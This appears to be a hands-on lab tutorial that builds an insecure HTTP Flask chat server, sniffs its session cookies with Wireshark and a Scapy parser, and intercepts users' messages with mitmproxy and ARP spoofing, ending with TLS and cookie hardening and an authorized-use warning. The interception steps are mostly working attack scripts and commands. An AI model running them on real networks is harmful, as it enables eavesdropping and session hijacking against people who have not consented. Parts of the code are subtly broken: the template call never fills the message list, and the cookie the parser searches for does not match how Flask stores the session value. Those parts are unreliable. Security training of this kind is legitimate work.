Before You Begin
- Python 3.10+, Wireshark, mitmproxy, and
scapylibrary (pip install scapy) - Two machines: one server (Linux) and one client (any OS) on the same Wi-Fi (no isolation)
- Administrative access to the Wi-Fi router (or use a dedicated access point)
- Basic understanding of HTTP, cookies, and TCP/IP
1. Building the Vulnerable BerlinChat Server
We'll create a minimal Flask chat app that uses HTTP (no TLS) and a session cookie named berlin_session. This simulates many legacy internal apps.
# berlinchat_server.py
from flask import Flask, request, session, render_template_string
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
HTML = '''
<form method="POST">
<input name="msg" placeholder="Type a message">
<button>Send</button>
</form>
<ul>%s</ul>
'''
messages = []
@app.route('/', methods=['GET', 'POST'])
def chat():
if 'berlin_session' not in session:
session['berlin_session'] = secrets.token_hex(8)
user_token = session['berlin_session']
if request.method == 'POST':
msg = f"{user_token}: {request.form['msg']}"
messages.append(msg)
return render_template_string(HTML, '\\n'.join(messages))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)Deploy on a server machine (e.g., a Raspberry Pi or VM). Use the SSH hardening template from the standard: disable password auth, change default SSH port, enable UFW (allow ports 5000 and your custom SSH).
# /etc/ssh/sshd_config excerpt
Port 2288
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 32. Sniffing Wi-Fi Traffic with Wireshark
On the attacker machine (same Wi-Fi), start Wireshark and capture on the Wi-Fi interface. Apply a filter: http and ip.addr == <server_ip>.
Send a chat message from the client browser. In Wireshark, you'll see GET/POST requests containing a Cookie: berlin_session=... header. Right-click a packet โ Follow TCP Stream to see the raw session token.
3. Extracting Session Tokens Programmatically
Use Scapy to parse the pcap file and extract all session cookies and user messages.
# extract_sessions.py
from scapy.all import *
import re
def extract_http(pcap_file):
packets = rdpcap(pcap_file)
sessions = []
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode(errors='ignore')
if 'Cookie:' in payload:
token = re.search(r'berlin_session=([^;\s]+)', payload)
msg = re.search(r'msg=([^&\s]+)', payload)
if token:
sessions.append({'token': token.group(1), 'data': payload})
return sessions
sessions = extract_http('capture.pcap')
for s in sessions:
print(f"Token: {s['token']}")4. Monitoring User Activity in Real-Time with mitmproxy
Place the attacker machine as a man-in-the-middle (e.g., using ARP spoofing or a transparent proxy). Launch mitmproxy in transparent mode:
mitmproxy --mode transparent --listen-port 8080Then redirect HTTP traffic to mitmproxy using arpspoof (from dsniff suite). Now all HTTP requests from the client flow through mitmproxy. Write a small inline script to log every chat message:
# chat_logger.py
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.pretty_host == 'server.local':
with open('chat_log.txt', 'a') as f:
f.write(f"{flow.request.cookies} - {flow.request.text}\n")Run with: mitmproxy -s chat_logger.py. You'll capture every keystroke in real time.
5. Defensive Hardening (The Fix)
The vulnerability exists because the chat app uses plain HTTP and non-secure cookies. Apply these standard security measures:
- Enable HTTPS: Use Let's Encrypt with Certbot. Configure Nginx to terminate TLS and redirect HTTP to HTTPS.
- Set Secure and HttpOnly flags on the cookie:
session['berlinsession']is automatically secure if Flask'sSESSIONCOOKIESECURE=TrueandSESSIONCOOKIE_HTTPONLY=True. - HSTS header: Add
Strict-Transport-Security: max-age=63072000; includeSubDomainsin Nginx. - Network segregation: Use client isolation on the Wi-Fi router to prevent peer-to-peer sniffing.
- VPN for internal services: Force all traffic through a VPN tunnel to encrypt even internal communications.
A hardened Nginx configuration (following the standard template) would be:
server {
listen 443 ssl http2;
server_name berlinchat.internal;
ssl_certificate /etc/letsencrypt/live/berlinchat.internal/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/berlinchat.internal/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
location / {
proxy_pass http://localhost:5000;
}
}6. Common Issues & Solutions
- No HTTP traffic captured: Ensure Wi-Fi interface is in monitor mode or use a hub/switch tap. On managed switches, enable port mirroring.
- mitmproxy certificate warnings: For HTTPS, install the mitmproxy CA on the client. But for this demo, we used HTTP deliberately.
- ARP spoofing fails: Some routers have ARP spoofing protection. Use a separate Wi-Fi network with a non-managed switch.
- Flask session cookie not visible: Flask's default cookie is
session, but we renamed toberlin_sessionfor clarity. Ensure you match the name in your parser.
7. Ethical Boundaries
This technique is for authorized penetration testing only. Running session capture on a network without explicit permission is illegal in most jurisdictions. Always test in a lab environment or with written consent.
Memuat komentar...